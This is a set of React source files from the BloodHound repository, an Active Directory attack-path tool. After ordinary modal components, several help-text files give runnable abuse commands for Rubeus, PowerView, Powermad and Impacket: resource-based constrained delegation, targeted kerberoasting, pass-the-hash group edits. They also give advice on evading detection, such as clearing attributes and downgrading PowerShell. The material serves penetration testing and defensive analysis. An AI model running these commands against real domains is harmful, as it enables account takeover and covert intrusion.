```jsx import React, { useEffect, useState } from 'react'; import BaseModal from './BaseModal'; import { Modal, Button, FormGroup, ControlLabel, FormControl, } from 'react-bootstrap'; import styles from './AddNodeModal.module.css'; import { motion } from 'framer-motion'; const AddNodeModal = () => { const [open, setOpen] = useState(false); const [showComplete, setShowComplete] = useState(false); const [value, setValue] = useState(''); const [typeValue, setTypeValue] = useState('User'); const [error, setError] = useState(''); useEffect(() => { emitter.on('addNode', handleOpen); return () => { emitter.removeListener('addNode', handleOpen); }; }, []); const handleOpen = () => { setOpen(true); }; const handleClose = () => { setOpen(false); }; const handleChange = e => { setValue(e.target.value); setError(''); }; const validateAndSubmit = () => { if (value === '') { setError('Name cannot be blank'); return; } let name = value; let type = typeValue; if (type === 'Computer') { if (!name.includes('.') || name.split('.').length < 3) { setError( 'Computer name must be similar to COMPUTER.DOMAIN.COM' ); return; } } else { if (!name.includes('@') || name.split('@').length > 2) { setError('Name must be similar to NAME@DOMAIN.COM'); return; } let dpart = name.split('@')[1]; if (!dpart.includes('.')) { setError('Name must be similar to NAME@DOMAIN.COM'); return; } } name = name.toUpperCase(); emitter.emit('addNodeFinal', name, type); setShowComplete(true); setTimeout(() => { handleClose(); setShowComplete(false); }, 500); }; return ( <BaseModal show={open} onHide={handleClose} label={'AddNodeModalHeader'} > <Modal.Header closeButton> <Modal.Title id='AddNodeModalHeader'>Add Node</Modal.Title> <Modal.Body> <form noValidate onSubmit={() => { return false; }} > <FormGroup> <ControlLabel>Node Name</ControlLabel> <FormControl type='text' value={value} onChange={handleChange} /> {error.length > 0 && ( <span className={styles.error}>{error}</span> )} </FormGroup> <FormGroup> <ControlLabel>Node Type</ControlLabel> <FormControl value={typeValue} componentClass='select' onChange={event => { setTypeValue(event.target.value); }} > <option value='User'>User</option> <option value='Group'>Group</option> <option value='Computer'>Computer</option> <option value='Domain'>Domain</option> <option value='OU'>OU</option> <option value='GPO'>GPO</option> </FormControl> </FormGroup> </form> </Modal.Body> <Modal.Footer> <motion.div animate={showComplete ? 'visible' : 'hidden'} variants={{ visible: { opacity: 1, }, hidden: { opacity: 0, }, }} initial={'hidden'} className={styles.checkbox} > <i className='fa fa-check-circle green-icon-color' /> </motion.div> <Button onClick={validateAndSubmit}>Confirm</Button> <Button onClick={handleClose}>Cancel</Button> </Modal.Footer> </Modal.Header> </BaseModal> ); }; AddNodeModal.propTypes = {}; export default AddNodeModal; ```
/content/code_sandbox/src/components/Modals/AddNodeModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
838
```jsx import React, {useContext} from 'react'; import {Modal} from 'react-bootstrap'; import clsx from 'clsx'; import {AppContext} from '../../AppContext'; const BaseModal = ({ show, onHide, label, className, children }) => { let context = useContext(AppContext); return ( <Modal show={show} animation={false} onHide={onHide} aria-labelledby={label} className={clsx(context.darkMode && 'modal-dark', className)} > {children} </Modal> ); }; BaseModal.propTypes = {}; export default BaseModal; ```
/content/code_sandbox/src/components/Modals/BaseModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
131
```jsx import React, { useContext, useEffect, useState } from 'react'; import { Button, ControlLabel, FormControl, FormGroup, Modal, } from 'react-bootstrap'; import { AsyncTypeahead, Menu, MenuItem } from 'react-bootstrap-typeahead'; import styles from './AddEdgeModal.module.css'; import SearchRow from '../SearchContainer/SearchRow'; import { buildSearchQuery } from 'utils'; import BaseModal from './BaseModal'; import { motion } from 'framer-motion'; import clsx from 'clsx'; import { AppContext } from '../../AppContext'; const AddEdgeModal = () => { const [open, setOpen] = useState(false); const [showComplete, setShowComplete] = useState(false); const [source, setSource] = useState(null); const [target, setTarget] = useState(null); const [sourceValue, setSourceValue] = useState(''); const [targetValue, setTargetValue] = useState(''); const [edgeValue, setEdgeValue] = useState('MemberOf'); const defaultErrors = { sourceErrors: '', targetErrors: '', edgeErrors: '', }; const [errors, setErrors] = useState(defaultErrors); const [sourceLoading, setSourceLoading] = useState(false); const [targetLoading, setTargetLoading] = useState(false); const [sourceSearchResults, setSourceSearchResults] = useState([]); const [targetSearchResults, setTargetSearchResults] = useState([]); const context = useContext(AppContext); useEffect(() => { emitter.on('addEdge', handleOpen); return () => { emitter.removeListener('addEdge', handleOpen); }; }, []); const handleOpen = () => { setOpen(true); setShowComplete(false); }; const handleClose = () => { setOpen(false); }; const setSelection = (selection, source) => { if (selection == null || selection.length === 0) { return; } if (source === 'main') { setSource(selection[0]); } if (source === 'target') { setTarget(selection[0]); } }; const doSearch = async (query, source) => { let session = driver.session(); let [statement, term] = buildSearchQuery(query); if (source === 'main') { setSourceLoading(true); } else { setTargetLoading(true); } let result = await session.run(statement, { name: term }); let data = []; for (let record of result.records) { let node = record.get(0); let properties = node.properties; let fType = node.labels.filter( (w) => w !== 'Base' && w !== 'AZBase' ); properties.type = fType.length > 0 ? fType[0] : 'Base'; data.push(properties); } if (source === 'main') { setSourceSearchResults(data); setSourceLoading(false); } else { setTargetSearchResults(data); setTargetLoading(false); } await session.close(); }; const validateAndSubmit = async () => { let errors = { sourceErrors: '', targetErrors: '', edgeErrors: '', }; let cont = true; if (source === null) { errors.sourceErrors = 'Select a source node'; cont = false; } if (target === null) { errors.targetErrors = 'Select a target node'; cont = false; } if (cont === false) { setErrors(errors); return; } if (source.objectid === target.objectid) { errors.sourceErrors = 'Source and target cannot be identical!'; errors.targetErrors = 'Source and target cannot be identical!'; setErrors(errors); return; } let session = driver.session(); let statement = `MATCH (n:${source.type} {objectid: $sourceid}) MATCH (m:${target.type} {objectid: $targetid}) MATCH (n)-[r:${edgeValue}]->(m) RETURN r`; let results = await session.run(statement, { sourceid: source.objectid, targetid: target.objectid, }); await session.close(); if (results.records.length > 0) { errors.edgeErrors = 'Edge already exists'; setErrors(errors); return; } let edgepart; if ( edgeValue === 'GenericAll' || edgeValue === 'GenericWrite' || edgeValue === 'AllExtendedRights' || edgeValue === 'AddMember' || edgeValue === 'ForceChangePassword' || edgeValue === 'Owns' || edgeValue === 'WriteDacl' || edgeValue === 'WriteOwner' || edgeValue === 'ReadLAPSPassword' || edgeValue === 'WriteSPN' || edgeValue === 'AddKeyCredentialLink' || edgeValue === 'AddSelf' || edgeValue === 'SyncLAPSPassword' ) { edgepart = `[r:${edgeValue} {isacl: true}]`; } else if (edgeValue === 'SQLAdmin') { edgepart = `[r:${edgeValue} {isacl: false, port: 1433}]`; } else { edgepart = `[r:${edgeValue} {isacl: false}]`; } session = driver.session(); statement = `MATCH (n:${source.type} {objectid: $sourceid}) MATCH (m:${target.type} {objectid: $targetid}) MERGE (n)-${edgepart}->(m) RETURN r`; await session.run(statement, { sourceid: source.objectid, targetid: target.objectid, }); await session.close(); setShowComplete(true); setTimeout(() => { handleClose(); }, 500); }; return ( <BaseModal show={open} onHide={handleClose} label='AddEdgeModalHeader'> <Modal.Header closeButton> <Modal.Title id='AddEdgeModalHeader'>Add Edge</Modal.Title> </Modal.Header> <Modal.Body> <form noValidate onSubmit={() => { return false; }} > <FormGroup> <ControlLabel>Source Node</ControlLabel> <AsyncTypeahead id={'addEdgeSourceSearch'} isLoading={sourceLoading} placeholder={'Source Node'} delay={500} renderMenu={(results, menuProps, props) => { return ( <Menu {...menuProps} className={clsx( context.darkMode ? styles.darkmenu : null )} > {results.map((result, index) => { return ( <MenuItem option={result} position={index} key={index} > <SearchRow item={result} search={sourceValue} /> </MenuItem> ); })} </Menu> ); }} labelKey={(option) => { return ( option.name || option.azname || option.objectid ); }} useCache={false} options={sourceSearchResults} filterBy={(option, props) => { let name = ( option.name || option.azname || option.objectid ).toLowerCase(); let id = option.objectid.toLowerCase(); let search; if (props.text.includes(':')) { search = props.text.split(':')[1]; } else { search = props.text.toLowerCase(); } return ( name.includes(search) || id.includes(search) ); }} onChange={(selection) => setSelection(selection, 'main') } onSearch={(query) => doSearch(query, 'main')} onInputChange={(event) => { setSource(null); setSourceValue(event); setErrors(defaultErrors); }} /> {errors.sourceErrors.length > 0 && ( <span className={styles.error}> {errors.sourceErrors} </span> )} </FormGroup> <FormGroup> <ControlLabel>Edge Type</ControlLabel> <FormControl value={edgeValue} componentClass='select' onChange={(event) => { setEdgeValue(event.target.value); }} > <option value='MemberOf'>MemberOf</option> <option value='HasSession'>HasSession</option> <option value='AdminTo'>AdminTo</option> <option value='AllExtendedRights'> AllExtendedRights </option> <option value='AddMember'>AddMember</option> <option value='ForceChangePassword'> ForceChangePassword </option> <option value='GenericAll'>GenericAll</option> <option value='GenericWrite'>GenericWrite</option> <option value='Owns'>Owns</option> <option value='WriteDacl'>WriteDacl</option> <option value='WriteOwner'>WriteOwner</option> <option value='ReadLAPSPassword'> ReadLAPSPassword </option> <option value='Contains'>Contains</option> <option value='GPLink'>GPLink</option> <option value='CanRDP'>CanRDP</option> <option value='CanPSRemote'>CanPSRemote</option> <option value='ExecuteDCOM'>ExecuteDCOM</option> <option value='AllowedToDelegate'> AllowedToDelegate </option> <option value='AddAllowedToAct'> AddAllowedToAct </option> <option value='AllowedToAct'>AllowedToAct</option> <option value='AddKeyCredentialLink'> AddKeyCredentialLink </option> <option value='WriteSPN'>WriteSPN</option> <option value='AddSelf'>AddSelf</option> <option value='SQLAdmin'>SQLAdmin</option> <option value='HasSIDHistory'>HasSIDHistory</option> <option value='SyncLAPSPassword'> SyncLAPSPassword </option> <option value='WriteAccountRestrictions'> WriteAccountRestrictions </option> <option value='DumpSMSAPassword'> DumpSMSAPassword </option> </FormControl> {errors.edgeErrors.length > 0 && ( <span className={styles.error}> {errors.edgeErrors} </span> )} </FormGroup> <FormGroup> <ControlLabel>Target Node</ControlLabel> <AsyncTypeahead id={'addEdgeTargetSearch'} isLoading={targetLoading} placeholder={'Target Node'} delay={500} renderMenu={(results, menuProps, props) => { return ( <Menu {...menuProps} className={clsx( context.darkMode ? styles.darkmenu : null )} > {results.map((result, index) => { return ( <MenuItem option={result} position={index} key={index} > <SearchRow item={result} search={targetValue} /> </MenuItem> ); })} </Menu> ); }} labelKey={(option) => { return ( option.name || option.azname || option.objectid ); }} useCache={false} options={targetSearchResults} filterBy={(option, props) => { let name = ( option.name || option.azname || option.objectid ).toLowerCase(); let id = option.objectid.toLowerCase(); let search; if (props.text.includes(':')) { search = props.text.split(':')[1]; } else { search = props.text.toLowerCase(); } return ( name.includes(search) || id.includes(search) ); }} onChange={(selection) => setSelection(selection, 'target') } onSearch={(query) => doSearch(query, 'target')} onInputChange={(event) => { setTargetValue(event); setTarget(null); setErrors(defaultErrors); }} /> {errors.targetErrors.length > 0 && ( <span className={styles.error}> {errors.targetErrors} </span> )} </FormGroup> </form> </Modal.Body> <Modal.Footer> <motion.div animate={showComplete ? 'visible' : 'hidden'} variants={{ visible: { opacity: 1, }, hidden: { opacity: 0, }, }} initial={'hidden'} className={styles.checkbox} > <i className='fa fa-check-circle green-icon-color' /> </motion.div> <Button onClick={validateAndSubmit}>Confirm</Button> <Button onClick={handleClose}>Cancel</Button> </Modal.Footer> </BaseModal> ); }; AddEdgeModal.propTypes = {}; export default AddEdgeModal; ```
/content/code_sandbox/src/components/Modals/AddEdgeModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
2,805
```jsx import React, { Component } from 'react'; import { Modal } from 'react-bootstrap'; import BaseModal from './BaseModal'; export default class LogoutModal extends Component { constructor() { super(); this.state = { open: false, }; } componentDidMount() { emitter.on('showLogout', this.openModal.bind(this)); } closeModal() { this.setState({ open: false }); } closeAndLogout() { conf.delete('databaseInfo'); appStore.databaseInfo = null; this.setState({ open: false }); emitter.emit('doLogout'); driver.close(); renderEmit.emit('logout'); } openModal() { this.setState({ open: true }); } render() { return ( <BaseModal show={this.state.open} onHide={this.closeModal.bind(this)} label='LogoutModalHeader' > <Modal.Header closeButton> <Modal.Title id='LogoutModalHeader'>Logout</Modal.Title> </Modal.Header> <Modal.Body> <p>Are you sure you want to logout?</p> </Modal.Body> <Modal.Footer> <button type='button' className='btn btn-danger' onClick={this.closeAndLogout.bind(this)} > Logout </button> <button type='button' className='btn btn-primary' onClick={this.closeModal.bind(this)} > Cancel </button> </Modal.Footer> </BaseModal> ); } } ```
/content/code_sandbox/src/components/Modals/LogoutModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
331
```jsx import React, { Component } from 'react'; import { Modal } from 'react-bootstrap'; import BaseModal from './BaseModal'; export default class ClearingModal extends Component { constructor() { super(); this.state = { open: false, }; } componentDidMount() { emitter.on('openClearingModal', this.openModal.bind(this)); emitter.on('hideDBClearModal', this.closeModal.bind(this)); } openModal() { this.setState({ open: true }); } closeModal() { this.setState({ open: false }); } render() { return ( <BaseModal show={this.state.open} onHide={this.closeModal.bind(this)} label='ClearingModalHeader' > <Modal.Header closeButton> <Modal.Title id='ClearingModalHeader'> Clear Database </Modal.Title> </Modal.Header> <Modal.Body> <p>Clearing data. This modal will close once finished.</p> </Modal.Body> </BaseModal> ); } } ```
/content/code_sandbox/src/components/Modals/ClearingModal.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
229
```jsx export const groupSpecialFormat = (sourceType, sourceName) => { if (sourceType === 'Group') { return `The members of the ${typeFormat( sourceType )} ${sourceName} have`; } else { return `The ${typeFormat(sourceType)} ${sourceName} has`; } }; export const typeFormat = type => { if (type === 'GPO' || type === 'OU') { return type; } else { return type.toLowerCase(); } }; ```
/content/code_sandbox/src/components/Modals/HelpTexts/Formatter.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
113
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { groupSpecialFormat } from '../Formatter'; const General = ({sourceName, sourceType, targetName}) => { return ( <> <p> {groupSpecialFormat(sourceType, sourceName)} can modify the msds-AllowedToActOnBehalfOfOtherIdentity attribute on the computer {targetName}. </p> <p> The ability to modify the msDS-AllowedToActOnBehalfOfOtherIdentity property allows an attacker to abuse resource-based constrained delegation to compromise the remote computer system. This property is a binary DACL that controls what security principals can pretend to be any domain user to the particular computer object. </p> <p> If the msDS-AllowedToActOnBehalfOfOtherIdentity DACL is set to allow an attack-controller account, the attacker can use said account to execute a modified S4U2self/S4U2proxy abuse chain to impersonate any domain user to the target computer system and receive a valid service ticket "as" this user. </p> <p> One caveat is that impersonated users can not be in the "Protected Users" security group or otherwise have delegation privileges revoked. Another caveat is that the principal added to the msDS-AllowedToActOnBehalfOfOtherIdentity DACL *must* have a service principal name (SPN) set in order to successfully abuse the S4U2self/S4U2proxy process. If an attacker does not currently control an account with a SPN set, an attacker can abuse the default domain MachineAccountQuota settings to add a computer account that the attacker controls via the Powermad project. </p> </> ); }; General.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AddAllowedToAct/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
438
```jsx import React from 'react'; const WindowsAbuse = () => { return ( <> Abusing this primitive is currently only possible through the Rubeus project. First, if an attacker does not control an account with an SPN set, Kevin Robertson's Powermad project can be used to add a new attacker-controlled computer account: <pre> <code> { "New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)" } </code> </pre> PowerView can be used to then retrieve the security identifier (SID) of the newly created computer account: <pre> <code> { '$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid' } </code> </pre> We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE: <pre> <code> {'$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"\n' + '$SDBytes = New-Object byte[] ($SD.BinaryLength)\n' + '$SD.GetBinaryForm($SDBytes, 0)'} </code> </pre> Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we're taking over, again using PowerView in this case: <pre> <code> { "Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}" } </code> </pre> We can then use Rubeus to hash the plaintext password into its RC4_HMAC form: <pre> <code>{'Rubeus.exe hash /password:Summer2018!'}</code> </pre> And finally we can use Rubeus' *s4u* module to get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER: <pre> <code> { 'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt' } </code> </pre> </> ); }; export default WindowsAbuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AddAllowedToAct/WindowsAbuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
647
```jsx import React from 'react'; const LinuxAbuse = () => { return ( <> First, if an attacker does not control an account with an SPN set, a new attacker-controlled computer account can be added with Impacket's addcomputer.py example script: <pre> <code> { "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'" } </code> </pre> We now need to configure the target object so that the attacker-controlled computer can delegate to it. Impacket's rbcd.py script can be used for that purpose: <pre> <code> { "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'" } </code> </pre> And finally we can get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. Impacket's getST.py example script can be used for that purpose. <pre> <code> { "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'" } </code> </pre> This ticket can then be used with Pass-the-Ticket, and could grant access to the file system of the TARGETCOMPUTER. </> ); }; export default LinuxAbuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AddAllowedToAct/LinuxAbuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
363
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import WindowsAbuse from './WindowsAbuse'; import LinuxAbuse from './LinuxAbuse'; import Opsec from './Opsec'; import References from './References'; const AddAllowedToAct = ({ sourceName, sourceType, targetName, targetType, }) => { return ( <Tabs defaultActiveKey={1} id='help-tab-container' justified> <Tab eventKey={1} title='Info'> <General sourceName={sourceName} sourceType={sourceType} targetName={targetName} /> </Tab> <Tab eventKey={2} title='Windows Abuse'> <WindowsAbuse /> </Tab> <Tab eventKey={3} title='Linux Abuse'> <LinuxAbuse /> </Tab> <Tab eventKey={4} title='Opsec'> <Opsec /> </Tab> <Tab eventKey={5} title='Refs'> <References /> </Tab> </Tabs> ); }; AddAllowedToAct.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default AddAllowedToAct; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AddAllowedToAct/AddAllowedToAct.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
290
```jsx import React from 'react'; const References = () => { return ( <> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url#s4u'> path_to_url#s4u </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url#new-machineaccount'> path_to_url#new-machineaccount </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> </> ); }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AddAllowedToAct/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
215
```jsx import React from 'react'; const Opsec = () => { return ( <p> To execute this attack, the Rubeus C# assembly needs to be executed on some system with the ability to send/receive traffic in the domain. Modification of the *msDS-AllowedToActOnBehalfOfOtherIdentity* property against the target also must occur, whether through PowerShell or another method. The property should be cleared (or reset to its original value) after attack execution in order to prevent easy detection. </p> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AddAllowedToAct/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
132
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import WindowsAbuse from './WindowsAbuse'; import LinuxAbuse from './LinuxAbuse'; import Opsec from './Opsec'; import References from './References'; const WriteSPN = ({ sourceName, sourceType, targetName, targetType }) => { return ( <Tabs defaultActiveKey={1} id='help-tab-container' justified> <Tab eventKey={1} title='Info'> <General sourceName={sourceName} sourceType={sourceType} targetName={targetName} targetType={targetType} /> </Tab> <Tab eventKey={2} title='Windows Abuse'> <WindowsAbuse sourceName={sourceName} sourceType={sourceType} /> </Tab> <Tab eventKey={3} title='Linux Abuse'> <LinuxAbuse sourceName={sourceName} sourceType={sourceType} /> </Tab> <Tab eventKey={4} title='Opsec'> <Opsec /> </Tab> <Tab eventKey={5} title='Refs'> <References /> </Tab> </Tabs> ); }; WriteSPN.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default WriteSPN; ```
/content/code_sandbox/src/components/Modals/HelpTexts/WriteSPN/WriteSPN.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
320
```jsx import React from 'react'; import PropTypes from 'prop-types'; const WindowsAbuse = ({ sourceName, sourceType }) => { return ( <> <p> A targeted kerberoast attack can be performed using PowerView's Set-DomainObject along with Get-DomainSPNTicket. </p> <p> You may need to authenticate to the Domain Controller as{' '} {sourceType === 'User' || sourceType === 'Computer' ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`} . To do this in conjunction with Set-DomainObject, first create a PSCredential object (these examples comes from the PowerView help documentation): </p> <pre> <code> {"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" + "$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"} </code> </pre> <p> Then, use Set-DomainObject, optionally specifying $Cred if you are not already running a process as {sourceName}: </p> <pre> <code> { "Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}" } </code> </pre> <p> After running this, you can use Get-DomainSPNTicket as follows: </p> <pre> <code> {'Get-DomainSPNTicket -Credential $Cred harmj0y | fl'} </code> </pre> <p> The recovered hash can be cracked offline using the tool of your choice. Cleanup of the ServicePrincipalName can be done with the Set-DomainObject command: </p> <pre> <code> { 'Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname' } </code> </pre> </> ); }; WindowsAbuse.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, }; export default WindowsAbuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/WriteSPN/WindowsAbuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
516
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { groupSpecialFormat, typeFormat } from '../Formatter'; const General = ({sourceName, sourceType, targetName, targetType}) => { return ( <p> {groupSpecialFormat(sourceType, sourceName)} the ability to write to the "serviceprincipalname" attribute to the {typeFormat(targetType)}{' '} {targetName}. </p> ); }; General.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/WriteSPN/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
134
```jsx import React from 'react'; const References = () => { return ( <> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> </> ); }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/WriteSPN/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
89
```jsx import React from 'react'; import PropTypes from 'prop-types'; const LinuxAbuse = ({ sourceName, sourceType }) => { return ( <> <p> A targeted kerberoast attack can be performed using{' '} <a href='path_to_url </p> <pre> <code> { "targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'" } </code> </pre> <p> The tool will automatically attempt a targetedKerberoast attack, either on all users or against a specific one if specified in the command line, and then obtain a crackable hash. The cleanup is done automatically as well. </p> <p> The recovered hash can be cracked offline using the tool of your choice. </p> </> ); }; LinuxAbuse.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, }; export default LinuxAbuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/WriteSPN/LinuxAbuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
228
```jsx import React from 'react'; const Opsec = () => { return ( <> <p> Executing this abuse with the net binary will require command line execution. If your target organization has command line logging enabled, this is a detection opportunity for their analysts. </p> <p> Regardless of what execution procedure you use, this action will generate a 4728 event on the domain controller that handled the request. This event may be centrally collected and analyzed by security analysts, especially for groups that are obviously very high privilege groups (i.e.: Domain Admins). Also be mindful that Powershell 5 introduced several key security features such as script block logging and AMSI that provide security analysts another detection opportunity. </p> <p> You may be able to completely evade those features by downgrading to PowerShell v2. </p> </> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/WriteSPN/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
213
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import WindowsAbuse from './WindowsAbuse'; import LinuxAbuse from './LinuxAbuse'; import Opsec from './Opsec'; import References from './References'; const GenericAll = ({ sourceName, sourceType, targetName, targetType, targetId, }) => { return ( <Tabs defaultActiveKey={1} id='help-tab-container' justified> <Tab eventKey={1} title='Info'> <General sourceName={sourceName} sourceType={sourceType} targetName={targetName} targetType={targetType} /> </Tab> <Tab eventKey={2} title='Windows Abuse'> <WindowsAbuse sourceName={sourceName} sourceType={sourceType} targetName={targetName} targetType={targetType} targetId={targetId} /> </Tab> <Tab eventKey={3} title='Linux Abuse'> <LinuxAbuse sourceName={sourceName} sourceType={sourceType} targetName={targetName} targetType={targetType} targetId={targetId} /> </Tab> <Tab eventKey={4} title='Opsec'> <Opsec /> </Tab> <Tab eventKey={5} title='Refs'> <References /> </Tab> </Tabs> ); }; GenericAll.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default GenericAll; ```
/content/code_sandbox/src/components/Modals/HelpTexts/GenericAll/GenericAll.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
366
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { groupSpecialFormat, typeFormat } from '../Formatter'; const General = ({ sourceName, sourceType, targetName, targetType }) => { return ( <> <p> {groupSpecialFormat(sourceType, sourceName)} GenericAll privileges to the {typeFormat(targetType)} {targetName}. </p> <p> This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish. </p> </> ); }; General.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/GenericAll/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
159
```jsx import React from 'react'; import PropTypes from 'prop-types'; const LinuxAbuse = ({ sourceName, sourceType, targetName, targetType, targetId, haslaps, }) => { switch (targetType) { case 'Group': return ( <> <p> Full control of a group allows you to directly modify group membership of the group. </p> <p> Use samba's net tool to add the user to the target group. The credentials can be supplied in cleartext or prompted interactively if omitted from the command line: </p> <pre> <code> { 'net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"' } </code> </pre> <p> Pass-the-hash can also be done here with <a href='path_to_url net tool</a>. If the LM hash is not known it must be replace with <code>ffffffffffffffffffffffffffffffff</code>. </p> <pre> <code> { 'pth-net rpc group addmem "TargetGroup" "TargetUser" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"' } </code> </pre> <p> Finally, verify that the user was successfully added to the group: </p> <pre> <code> { 'net rpc group members "TargetGroup" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"' } </code> </pre> </> ); case 'User': return ( <> <p> Full control of a user allows you to modify properties of the user to perform a targeted kerberoast attack, and also grants the ability to reset the password of the user without knowing their current one. </p> <h4> Targeted Kerberoast </h4> <p> A targeted kerberoast attack can be performed using{' '} <a href='path_to_url </p> <pre> <code> { "targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'" } </code> </pre> <p> The tool will automatically attempt a targetedKerberoast attack, either on all users or against a specific one if specified in the command line, and then obtain a crackable hash. The cleanup is done automatically as well. </p> <p> The recovered hash can be cracked offline using the tool of your choice. </p> <h4> Force Change Password </h4> <p> Use samba's net tool to change the user's password. The credentials can be supplied in cleartext or prompted interactively if omitted from the command line. The new password will be prompted if omitted from 